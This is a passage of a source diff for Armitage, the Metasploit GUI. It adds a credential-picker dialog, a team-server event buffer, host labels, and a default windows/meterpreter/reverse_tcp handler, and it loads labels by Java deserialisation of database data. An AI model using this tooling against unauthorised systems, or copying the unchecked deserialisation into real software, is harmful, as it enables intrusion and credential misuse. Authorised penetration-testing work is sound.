$crack = [new JButton: "Crack Passwords"]; @@ -372,3 +403,34 @@ sub launchBruteForce { [$console start]; }, $type => $1, $module => $2, $options => $3, $title => $4)); } + +sub credentialHelper { + thread(lambda({ + [Thread yield]; + + # gather our credentials please + local('$creds $cred @creds'); + $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + if ($PASS eq "SMBPass" || $cred['ptype'] ne "smb_hash") { + push(@creds, $cred); + } + } + + # pop up a dialog to let the user choose their favorite set + quickListDialog("Choose credentials", "Select", @("user", "user", "pass", "host"), @creds, $width => 640, $height => 240, lambda({ + if ($1 eq "") { + return; + } + + local('$user $pass'); + $user = [$3 getSelectedValueFromColumn: $2, 'user']; + $pass = [$3 getSelectedValueFromColumn: $2, 'pass']; + + [$model setValueForKey: $USER, "Value", $user]; + [$model setValueForKey: $PASS, "Value", $pass]; + [$model fireListeners]; + }, \$callback, \$model, \$USER, \$PASS)); + }, \$USER, \$PASS, \$model, $callback => $4)); +} + diff --git a/external/source/armitage/scripts/pivots.sl b/external/source/armitage/scripts/pivots.sl index 3a5e117f4aec..3adbfe450b45 100644 --- a/external/source/armitage/scripts/pivots.sl +++ b/external/source/armitage/scripts/pivots.sl @@ -107,10 +107,10 @@ sub pivot_dialog { } local('$dialog $model $table $sorter $center $a $route $button'); - $dialog = [new JDialog: $frame, $title, 0]; + $dialog = [new JDialog: $__frame__, $title, 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setLayout: [new BorderLayout]]; diff --git a/external/source/armitage/scripts/reporting.sl b/external/source/armitage/scripts/reporting.sl index a6a7ac5dfb08..1995e0686ef7 100644 --- a/external/source/armitage/scripts/reporting.sl +++ b/external/source/armitage/scripts/reporting.sl @@ -182,28 +182,21 @@ sub queryData { [$progress setProgress: 30]; } - # 4. clients - %r['clients'] = call($mclient, "db.clients")["clients"]; - - if ($progress) { - [$progress setProgress: 35]; - } - - # 5. sessions... + # 4. sessions... %r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]); if ($progress) { [$progress setProgress: 36]; } - # 6. timeline + # 5. timeline %r['timeline'] = fixTimeline(call($mclient, "db.events")['events']); if ($progress) { [$progress setProgress: 38]; } - # 7. hosts and services + # 6. hosts and services local('@hosts @services $temp $h $s $x'); call($mclient, "armitage.prep_export", $1); @@ -291,32 +284,27 @@ sub _generateArtifacts { [$progress setProgress: 65]; - # 4. clients - dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']); - - [$progress setProgress: 70]; - - # 5. hosts + # 4. hosts dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']); [$progress setProgress: 80]; - # 6. services + # 5. services dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']); [$progress setProgress: 90]; - # 7. sessions + # 6. sessions dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']); [$progress setProgress: 93]; - # 8. timeline + # 7. timeline dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']); [$progress setProgress: 96]; - # 9. take a pretty screenshot of the graph view... + # 8. take a pretty screenshot of the graph view... [$progress setNote: "host picture :)"]; makeScreenshot("hosts.png"); @@ -330,7 +318,7 @@ sub _generateArtifacts { fire_event_async("user_export", %data); - return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts"); + return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts"); } # @@ -368,8 +356,6 @@ sub api_export_data { } sub initReporting { - global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage - wait(fork({ global('$db'); [$client addHook: "armitage.export_data", &api_export_data]; diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 78f9738dbba7..4dcf4cd84d1d 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -35,9 +35,7 @@ sub result { sub event { local('$result'); $result = formatDate("HH:mm:ss") . " $1"; - acquire($poll_lock); - push(@events, $result); - release($poll_lock); + [$events put: $result]; } sub client { @@ -96,16 +94,6 @@ sub client { [[$handle getOutputStream] flush]; } - # limit our replay of the event log to 100 events... - acquire($poll_lock); - if (size(@events) > 100) { - $index = size(@events) - 100; - } - else { - $index = 0; - } - release($poll_lock); - # # on our merry way processing it... # @@ -183,33 +171,30 @@ sub client { else if ($method eq "armitage.log") { ($data, $address) = $args; event("* $eid $data $+ \n"); + if ($address is $null) { + $address = [$client getLocalAddress]; + } call_async($client, "db.log_event", "$address $+ // $+ $eid", $data); writeObject($handle, result(%())); } else if ($method eq "armitage.skip") { - acquire($poll_lock); - $index = size(@events); - release($poll_lock); + [$events get: $eid]; writeObject($handle, result(%())); } else if ($method eq "armitage.poll" || $method eq "armitage.push") { - acquire($poll_lock); if ($method eq "armitage.push") { ($null, $data) = $args; foreach $temp (split("\n", $data)) { - push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data); + [$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data]; } } - if (size(@events) > $index) { - $rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > ")); - $index = size(@events); - } - else { - $rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64")); - } - release($poll_lock); - + $rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > ")); + writeObject($handle, $rv); + } + else if ($method eq "armitage.lusers") { + $rv = [new HashMap]; + [$rv put: "lusers", [$events clients]]; writeObject($handle, $rv); } else if ($method eq "armitage.append") { @@ -308,6 +293,10 @@ sub client { $response = [$client execute: $method, cast($args, ^Object)]; writeObject($handle, $response); } + else if ($method eq "module.execute_direct") { + $response = [$client execute: "module.execute", cast($args, ^Object)]; + writeObject($handle, $response); + } else if ($method in %async) { if ($args) { [$client execute_async: $method, cast($args, ^Object)]; @@ -333,6 +322,7 @@ sub client { if ($eid !is $null) { event("*** $eid left.\n"); + [$events free: $eid]; } # reset the user's filter... @@ -355,7 +345,7 @@ sub client { sub main { global('$client $mclient'); - local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console'); + local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events'); $auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0]; @@ -403,9 +393,6 @@ sub main { # we need this global to be set so our reverse listeners work as expected. $MY_ADDRESS = $host; - # make sure clients know a team server is present. can't happen async. - call($client, "core.setg", "ARMITAGE_TEAM", '1'); - # # setup the client cache # @@ -416,10 +403,12 @@ sub main { # $sess_lock = semaphore(1); $read_lock = semaphore(1); - $poll_lock = semaphore(1); $lock_lock = semaphore(1); $cach_lock = semaphore(1); + # setup any shared buffers... + $events = [new armitage.ArmitageBuffer: 250]; + # set the LHOST to whatever the user specified (use console.write to make the string not UTF-8) $console = createConsole($client); call($client, "console.write", $console, "setg LHOST $host $+ \n"); @@ -427,6 +416,9 @@ sub main { # absorb the output of this command which is LHOST => ... call($client, "console.read", $console); + # update server's understanding of this value... + call($client, "armitage.set_ip", $host); + # # create a thread to push console messages to the event queue for all clients. # @@ -436,12 +428,10 @@ sub main { sleep(2000); $r = call($client, "console.read", $console); if ($r["data"] ne "") { - acquire($poll_lock); - push(@events, formatDate("HH:mm:ss") . " " . $r["data"]); - release($poll_lock); + [$events put: formatDate("HH:mm:ss") . " " . $r["data"]]; } } - }, \$client, \$poll_lock, \@events, \$console); + }, \$client, \$events, \$console); # # Create a shared hash that contains a thread for each session... @@ -538,7 +528,7 @@ service framework-postgres start"); $handle = [$server accept]; if ($handle !is $null) { %readq[$id] = %(); - fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); + fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); $id++; } diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 7929dac69635..797174c255d2 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -21,6 +21,10 @@ sub getHostOS { return iff($1 in %hosts, %hosts[$1]['os_name'], $null); } +sub getHostLabel { + return iff($1 in %hosts, %hosts[$1]['label'], $null); +} + sub getSessions { return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']); } @@ -122,7 +126,7 @@ on sessions { } if ($host['show'] eq "1") { - push(@nodes, @($id, describeHost($host), showHost($host), $tooltip)); + push(@nodes, @($id, $host['label'] . "", describeHost($host), showHost($host), $tooltip)); } } @@ -130,14 +134,14 @@ on sessions { } sub refreshGraph { - local('$node $id $description $icons $tooltip $highlight'); + local('$node $id $label $description $icons $tooltip $highlight'); # update everything... [$graph start]; # do the hosts? foreach $node (@nodes) { - ($id, $description, $icons, $tooltip) = $node; - [$graph addNode: $id, $description, $icons, $tooltip]; + ($id, $label, $description, $icons, $tooltip) = $node; + [$graph addNode: $id, $label, $description, $icons, $tooltip]; } # update the routes @@ -189,6 +193,11 @@ on hosts { $address = $host['address']; if ($address in %hosts && size(%hosts[$address]) > 1) { %newh[$address] = %hosts[$address]; + + # set the label to empty b/c team server won't add labels if there are no labels. This fixes + # a corner case where a user might clear all labels and find they won't go away + %newh[$address]['label'] = ''; + putAll(%newh[$address], keys($host), values($host)); if ($host['os_name'] eq "") { @@ -258,7 +267,7 @@ sub _importHosts { } $console = createDisplayTab("Import", $file => "import"); - [$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; + [$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; [$console addListener: lambda({ elog("imported hosts from $success file" . iff($success != 1, "s")); }, \$success)]; @@ -342,8 +351,10 @@ sub clearHostFunction { } sub clearDatabase { - elog("cleared the database"); - call_async($mclient, "db.clear"); + if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) { + elog("cleared the database"); + call_async($mclient, "db.clear"); + } } # called when a target is clicked on... diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index ceed745950e1..b226c1edc280 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -151,6 +151,11 @@ sub createConsoleTab { } sub setg { + # update team server's understanding of LHOST + if ($1 eq "LHOST") { + call_async($client, "armitage.set_ip", $2); + } + %MSF_GLOBAL[$1] = $2; local('$c'); $c = createConsole($client); @@ -159,12 +164,15 @@ sub setg { } sub createDefaultHandler { - warn("Creating a default reverse handler..."); # setup a handler for meterpreter - setg("LPORT", randomPort()); + local('$port'); + $port = randomPort(); + setg("LPORT", $port); + warn("Creating a default reverse handler... 0.0.0.0: $+ $port"); call_async($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", + LPORT => $port, ExitOnSession => "false" )); } @@ -307,7 +315,12 @@ sub startMetasploit { savePreferences(); } - $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + if ("*apps*pro*" iswm $msfdir) { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd_new.bat"), $null]; + } + else { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + } $data = join("\r\n", readAll($handle, -1)); closef($handle); @@ -373,7 +386,7 @@ sub connectDialog { $msfrpc_handle = $null; } - local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper'); + local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper'); $dialog = window("Connect...", 0, 0); # setup our nifty form fields.. @@ -390,8 +403,6 @@ sub connectDialog { $help = [new JButton: "Help"]; [$help setToolTipText: "Use this button to view the Getting Started Guide on the Armitage homepage"]; - $cancel = [new JButton: "Exit"]; - # lay them out $center = [new JPanel]; @@ -414,9 +425,14 @@ sub connectDialog { ($h, $p, $u, $s) = @o; [$dialog setVisible: 0]; - connectToMetasploit($h, $p, $u, $s); - if ($h eq "127.0.0.1" || $h eq "localhost") { + if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { + if ($__frame__ && [$__frame__ checkLocal]) { + showError("You can't connect to localhost twice"); + [$dialog setVisible: 1]; + return; + } + try { closef(connect("127.0.0.1", $p, 1000)); } @@ -426,37 +442,33 @@ sub connectDialog { } } } + + connectToMetasploit($h, $p, $u, $s); }, \$dialog, \$host, \$port, \$user, \$pass)]; [$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")]; - [$cancel addActionListener: { - [System exit: 0]; - }]; - [$dialog pack]; [$dialog setLocationRelativeTo: $null]; [$dialog setVisible: 1]; } -sub _elog { +sub elog { + local('$2'); if ($client !is $mclient) { + # $2 can be NULL here. team server will populate it... call_async($mclient, "armitage.log", $1, $2); } else { + # since we're not on a team server, no one else will have + # overwritten LHOST, so we can trust $MY_ADDRESS to be current + if ($2 is $null) { + $2 = $MY_ADDRESS; + } call_async($client, "db.log_event", "$2 $+ //", $1); } } -sub elog { - local('$2'); - if ($2 is $null) { - $2 = $MY_ADDRESS; - } - - _elog($1, $2); -} - sub module_execute { return invoke(&_module_execute, filter_data_array("user_launch", @_)); } diff --git a/external/source/armitage/scripts/workspaces.sl b/external/source/armitage/scripts/workspaces.sl index 90c1210b50dd..5a45900654f9 100644 --- a/external/source/armitage/scripts/workspaces.sl +++ b/external/source/armitage/scripts/workspaces.sl @@ -33,7 +33,7 @@ sub listWorkspaces { $dialog = [new JPanel]; [$dialog setLayout: [new BorderLayout]]; - ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @()); + ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "labels", "session"), @()); updateWorkspaceList($table, $model); [$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]]; @@ -88,15 +88,16 @@ sub workspaceDialog { local('$table $model'); ($table, $model) = $2; - local('$dialog $name $host $ports $os $button $session'); + local('$dialog $name $host $ports $os $button $session $label'); $dialog = dialog($title, 640, 480); - [$dialog setLayout: [new GridLayout: 6, 1]]; + [$dialog setLayout: [new GridLayout: 7, 1]]; $name = [new ATextField: $1['name'], 16]; [$name setEnabled: $enable]; $host = [new ATextField: $1['hosts'], 16]; $ports = [new ATextField: $1['ports'], 16]; $os = [new ATextField: $1['os'], 16]; + $label = [new ATextField: $1['labels'], 16]; $session = [new JCheckBox: "Hosts with sessions only"]; if ($1['session'] eq 1) { [$session setSelected: 1]; @@ -108,6 +109,7 @@ sub workspaceDialog { [$dialog add: label_for("Hosts:", 60, $host)]; [$dialog add: label_for("Ports:", 60, $ports)]; [$dialog add: label_for("OS:", 60, $os)]; + [$dialog add: label_for("Labels:", 60, $label)]; [$dialog add: $session]; [$dialog add: center($button)]; @@ -116,15 +118,16 @@ sub workspaceDialog { [$button addActionListener: lambda({ # yay, we have a dialog... - local('$n $h $p $o $s @workspaces $ws $temp'); + local('$n $h $p $o $s $l @workspaces $ws $temp'); $n = [[$name getText] trim]; $h = [strrep([$host getText], '*', '%', '?', '_') trim]; $p = [[$ports getText] trim]; $o = [strrep([$os getText], '*', '%', '?', '_') trim]; + $l = [[$label getText] trim]; $s = [$session isSelected]; # save the new menu - $ws = workspace($n, $h, $p, $o, $s); + $ws = workspace($n, $h, $p, $o, $s, $l); @workspaces = workspaces(); foreach $temp (@workspaces) { if ($temp["name"] eq $n) { @@ -140,7 +143,7 @@ sub workspaceDialog { updateWorkspaceList($table, $model); [$dialog setVisible: 0]; - }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)]; + }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model, \$label)]; } sub reset_workspace { @@ -199,16 +202,16 @@ sub set_workspace { } sub workspace { - return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5); + return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5, labels => $6); } sub workspaces { - local('$ws @r $name $host $port $os $session $workspace'); + local('$ws @r $name $host $port $os $session $workspace $label'); $ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]); foreach $workspace ($ws) { if ($workspace ne "") { - ($name, $host, $port, $os, $session) = split('@@', $workspace); - push(@r, workspace($name, $host, $port, $os, $session)); + ($name, $host, $port, $os, $session, $label) = split('@@', $workspace); + push(@r, workspace($name, $host, $port, $os, $session, $label)); } } return @r; diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index aec7602dd01b..84fe420c76c7 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -13,13 +13,32 @@ import ui.*; -public class ArmitageApplication extends JFrame { +public class ArmitageApplication extends JComponent { protected JTabbedPane tabs = null; protected JSplitPane split = null; protected JMenuBar menus = new JMenuBar(); protected ScreenshotManager screens = null; protected KeyBindings keys = new KeyBindings(); protected MenuBuilder builder = null; + protected String title = ""; + protected MultiFrame window = null; + + public KeyBindings getBindings() { + return keys; + } + + public void setTitle(String title) { + this.title = title; + window.setTitle(this, title); + } + + public String getTitle() { + return title; + } + + public void setIconImage(Image blah) { + window.setIconImage(blah); + } public void setScreenshotManager(ScreenshotManager m) { screens = m; @@ -192,10 +211,11 @@ public void popAppTab(Component tab) { /* pop goes the tab! */ final JFrame r = new JFrame(t.title); - r.setIconImages(getIconImages()); + //r.setIconImages(getIconImages()); r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); + t.component.validate(); r.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent ev) { @@ -365,8 +385,20 @@ public void componentShown(ComponentEvent ev) { component.requestFocusInWindow(); } - public ArmitageApplication() { + public void touch() { + Component c = tabs.getSelectedComponent(); + if (c == null) + return; + + if (c instanceof Activity) + ((Activity)c).resetNotification(); + + c.requestFocusInWindow(); + } + + public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) { super(); + window = f; tabs = new DraggableTabbedPane(); setLayout(new BorderLayout()); @@ -382,10 +414,8 @@ public ArmitageApplication() { /* add our tabbed pane */ add(split, BorderLayout.CENTER); - /* setup our key bindings */ - KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys); - /* ... */ - setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + //setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + ((ui.MultiFrame)window).addButton(details, this, conn); } } diff --git a/external/source/armitage/src/armitage/ArmitageBuffer.java b/external/source/armitage/src/armitage/ArmitageBuffer.java new file mode 100644 index 000000000000..22731f671f3f --- /dev/null +++ b/external/source/armitage/src/armitage/ArmitageBuffer.java @@ -0,0 +1,138 @@ +package armitage; + +import java.util.*; + +/* + * Implement a thread safe store that any client may write to and + * any client may read from (keeping track of their cursor into + * the console) + */ +public class ArmitageBuffer { + private static final class Message { + public String message = null; + public Message next = null; + } + + /* store our messages... */ + public Message first = null; + public Message last = null; + public long size = 0; + public long max = 0; + public String prompt = ""; + + /* store indices into this buffer */ + public Map indices = new HashMap(); + + /* setup the buffer?!? :) */ + public ArmitageBuffer(long max) { + this.max = max; + } + + /* store a prompt with this buffer... we're not going to do any indexing magic for now */ + public String getPrompt() { + synchronized (this) { + return prompt; + } + } + + /* set the prompt */ + public void setPrompt(String text) { + synchronized (this) { + prompt = text; + } + } + + /* post a message to this buffer */ + public void put(String text) { + synchronized (this) { + /* create our message */ + Message m = new Message(); + m.message = text; + + /* store our message */ + if (last == null && first == null) { + first = m; + last = m; + } + else { + last.next = m; + last = m; + } + + /* increment number of stored messages */ + size += 1; + + /* limit the total number of past messages to the max size */ + if (size > max) { + first = first.next; + } + } + } + + /* retrieve a set of all clients consuming this buffer */ + public Collection clients() { + synchronized (this) { + LinkedList clients = new LinkedList(indices.keySet()); + return clients; + } + } + + /* free a client */ + public void free(String id) { + synchronized (this) { + indices.remove(id); + } + } + + /* reset our indices too */ + public void reset() { + synchronized (this) { + first = null; + last = null; + indices.clear(); + size = 0; + } + } + + /* retrieve all messages available to the client (if any) */ + public String get(String id) { + synchronized (this) { + /* nadaz */ + if (first == null) + return ""; + + /* get our index into the buffer */ + Message index = null; + if (!indices.containsKey(id)) { + index = first; + } + else { + index = (Message)indices.get(id); + + /* nothing happening */ + if (index.next == null) + return ""; + + index = index.next; + } + + /* now let's walk through it */ + StringBuffer result = new StringBuffer(); + Message temp = index; + while (temp != null) { + result.append(temp.message); + index = temp; + temp = temp.next; + } + + /* store our index */ + indices.put(id, index); + + return result.toString(); + } + } + + public String toString() { + return "[" + size + " messages]"; + } +} diff --git a/external/source/armitage/src/armitage/ArmitageMain.java b/external/source/armitage/src/armitage/ArmitageMain.java index 3feb310ee081..eb8d8295c219 100644 --- a/external/source/armitage/src/armitage/ArmitageMain.java +++ b/external/source/armitage/src/armitage/ArmitageMain.java @@ -9,10 +9,10 @@ import sleep.parser.ParserConfig; import java.util.*; - import java.io.*; import cortana.core.*; +import ui.*; /** * This class launches Armitage and loads the scripts that are part of it. @@ -101,7 +101,7 @@ protected String[] getServerScripts() { }; } - public ArmitageMain(String[] args) { + public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) { /* tweak the parser to recognize a few useful escapes */ ParserConfig.installEscapeConstant('c', console.Colors.color + ""); ParserConfig.installEscapeConstant('U', console.Colors.underline + ""); @@ -118,15 +118,6 @@ public ArmitageMain(String[] args) { ScriptLoader loader = new ScriptLoader(); loader.addSpecificBridge(this); - /* check for server mode option */ - boolean serverMode = false; - - int x = 0; - for (x = 0; x < args.length; x++) { - if (args[x].equals("--server")) - serverMode = true; - } - /* setup Cortana event and filter bridges... we will install these into Armitage */ if (!serverMode) { @@ -135,6 +126,7 @@ public ArmitageMain(String[] args) { variables.putScalar("$__events__", SleepUtils.getScalar(events)); variables.putScalar("$__filters__", SleepUtils.getScalar(filters)); + variables.putScalar("$__frame__", SleepUtils.getScalar(window)); loader.addGlobalBridge(events.getBridge()); loader.addGlobalBridge(filters.getBridge()); @@ -142,7 +134,7 @@ public ArmitageMain(String[] args) { /* load the appropriate scripts */ String[] scripts = serverMode ? getServerScripts() : getGUIScripts(); - + int x = -1; try { for (x = 0; x < scripts.length; x++) { InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]); @@ -161,6 +153,23 @@ public ArmitageMain(String[] args) { } public static void main(String args[]) { - new ArmitageMain(args); + /* check for server mode option */ + boolean serverMode = false; + + int x = 0; + for (x = 0; x < args.length; x++) { + if (args[x].equals("--server")) + serverMode = true; + } + + /* setup our armitage instance */ + if (serverMode) { + new ArmitageMain(args, null, serverMode); + } + else { + MultiFrame.setupLookAndFeel(); + MultiFrame frame = new MultiFrame(); + new ArmitageMain(args, frame, serverMode); + } } } diff --git a/external/source/armitage/src/armitage/EventLogTabCompletion.java b/external/source/armitage/src/armitage/EventLogTabCompletion.java new file mode 100644 index 000000000000..6fa7fddee848 --- /dev/null +++ b/external/source/armitage/src/armitage/EventLogTabCompletion.java @@ -0,0 +1,60 @@ +package armitage; + +import console.Console; +import msf.*; +import java.util.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; + +import java.io.IOException; + +public class EventLogTabCompletion extends GenericTabCompletion { + protected RpcConnection connection; + + public EventLogTabCompletion(Console window, RpcConnection connection) { + super(window); + this.connection = connection; + } + + public Collection getOptions(String text) { + try { + Map response = (Map)connection.execute("armitage.lusers", new Object[] {}); + + if (response.get("lusers") == null) + return null; + + Iterator users = ((Collection)response.get("lusers")).iterator(); + + LinkedList options = new LinkedList(); + String word; + String pre; + + if (text.endsWith(" ")) { + word = ""; + pre = text; + } + if (text.lastIndexOf(" ") != -1) { + word = text.substring(text.lastIndexOf(" ") + 1); + pre = text.substring(0, text.lastIndexOf(" ") + 1); + } + else { + word = text; + pre = ""; + } + + while (users.hasNext()) { + String user = users.next() + ""; + if (user.startsWith(word)) { + options.add(pre + user); + } + } + + return options; + } + catch (IOException ioex) { + ioex.printStackTrace(); + } + return null; + } +} diff --git a/external/source/armitage/src/cortana/Loader.java b/external/source/armitage/src/cortana/Loader.java index a0a8a8c3c065..d5c76d836df0 100644 --- a/external/source/armitage/src/cortana/Loader.java +++ b/external/source/armitage/src/cortana/Loader.java @@ -15,7 +15,7 @@ public class Loader implements Loadable { protected ScriptLoader loader; protected Hashtable shared = new Hashtable(); protected ScriptVariables vars = new ScriptVariables(); - protected Object[] passMe = new Object[2]; + protected Object[] passMe = new Object[3]; protected List scripts = new LinkedList(); public void unsetDebugLevel(int flag) { @@ -51,10 +51,11 @@ public boolean isReady() { } } - public void passObjects(Object o, Object p) { + public void passObjects(Object o, Object p, Object q) { synchronized (this) { passMe[0] = o; passMe[1] = p; + passMe[2] = q; } } diff --git a/external/source/armitage/src/cortana/Main.java b/external/source/armitage/src/cortana/Main.java index be70944f5d2e..be04c511a31e 100644 --- a/external/source/armitage/src/cortana/Main.java +++ b/external/source/armitage/src/cortana/Main.java @@ -69,7 +69,7 @@ public void start(String host, String port, String user, String pass, String nic try { Object conns[] = setupConnections(host, port, user, pass, nick); //new MsgRpcImpl(user, pass, host, Integer.parseInt(port), true, false); - engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, host); + engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, (String)conns[2]); new Thread(this).start(); } catch (java.lang.RuntimeException rex) { diff --git a/external/source/armitage/src/graph/NetworkGraph.java b/external/source/armitage/src/graph/NetworkGraph.java index fa9b0e7eef5a..d15d67b3acc5 100644 --- a/external/source/armitage/src/graph/NetworkGraph.java +++ b/external/source/armitage/src/graph/NetworkGraph.java @@ -453,17 +453,26 @@ public void setRoutes(Route[] routes) { protected Map tooltips = new HashMap(); - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { nodeImages.put(id, image); + if (label.length() > 0) { + if (description.length() > 0) { + description += "\n" + label; + } + else { + description = label; + } + } + mxCell cell; if (!nodes.containsKey(id)) { - cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97); + cell = (mxCell)graph.insertVertex(parent, id, description, 0, 0, 125, 97); nodes.put(id, cell); } else { cell = (mxCell)nodes.get(id); - cell.setValue(label); + cell.setValue(description); } nodes.touch(id); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ba7b330d590c..ee58207c2e7d 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -14,11 +14,15 @@ public class DatabaseImpl implements RpcConnection { protected String workspaceid = "0"; protected String hFilter = null; protected String sFilter = null; + protected String[] lFilter = null; protected Route[] rFilter = null; protected String[] oFilter = null; protected int hindex = 0; protected int sindex = 0; + /* keep track of labels associated with each host */ + protected Map labels = new HashMap(); + /* define the maximum hosts in a workspace */ protected int maxhosts = 512; @@ -135,6 +139,20 @@ private boolean checkRoute(String address) { return false; } + private boolean checkLabel(String host) { + if (!labels.containsKey(host)) + return false; + + String label_l = (labels.get(host) + "").toLowerCase(); + + for (int x = 0; x < lFilter.length; x++) { + if (label_l.indexOf(lFilter[x]) != -1) { + return true; + } + } + return false; + } + private boolean checkOS(String os) { String os_l = os.toLowerCase(); @@ -145,11 +163,76 @@ private boolean checkOS(String os) { return false; } + protected void loadLabels() { + try { + /* query database for label data */ + List rows = executeQuery("SELECT DISTINCT data FROM notes WHERE ntype = 'armitage.labels'"); + if (rows.size() == 0) + return; + + /* extract our BASE64 encoded data */ + String data = ((Map)rows.get(0)).get("data") + ""; + System.err.println("Read: " + data.length() + " bytes"); + + /* turn our data into raw data */ + byte[] raw = Base64.decode(data); + + /* deserialize our notes data */ + ByteArrayInputStream store = new ByteArrayInputStream(raw); + ObjectInputStream handle = new ObjectInputStream(store); + Map temp = (Map)(handle.readObject()); + handle.close(); + store.close(); + + /* merge with our new map */ + labels.putAll(temp); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + + protected void mergeLabels(Map l) { + /* accept any label values and merge them into our global data set */ + Iterator i = l.entrySet().iterator(); + while (i.hasNext()) { + Map.Entry entry = (Map.Entry)i.next(); + if ("".equals(entry.getValue())) { + labels.remove(entry.getKey() + ""); + } + else { + labels.put(entry.getKey() + "", entry.getValue() + ""); + } + } + } + + /* add labels to our hosts */ + public List addLabels(List rows) { + if (labels.size() == 0) + return rows; + + Iterator i = rows.iterator(); + while (i.hasNext()) { + Map entry = (Map)i.next(); + String address = (entry.containsKey("address") ? entry.get("address") : entry.get("host")) + ""; + if (labels.containsKey(address)) { + entry.put("label", labels.get(address) + ""); + } + else { + entry.put("label", ""); + } + } + + return rows; + } + public List filterByRoute(List rows, int max) { - if (rFilter != null || oFilter != null) { + if (rFilter != null || oFilter != null || lFilter != null) { Iterator i = rows.iterator(); while (i.hasNext()) { Map entry = (Map)i.next(); + + /* make sure the address is within a route we care about */ if (rFilter != null && entry.containsKey("address")) { if (!checkRoute(entry.get("address") + "")) { i.remove(); @@ -163,9 +246,26 @@ else if (rFilter != null && entry.containsKey("host")) { } } + /* make sure the 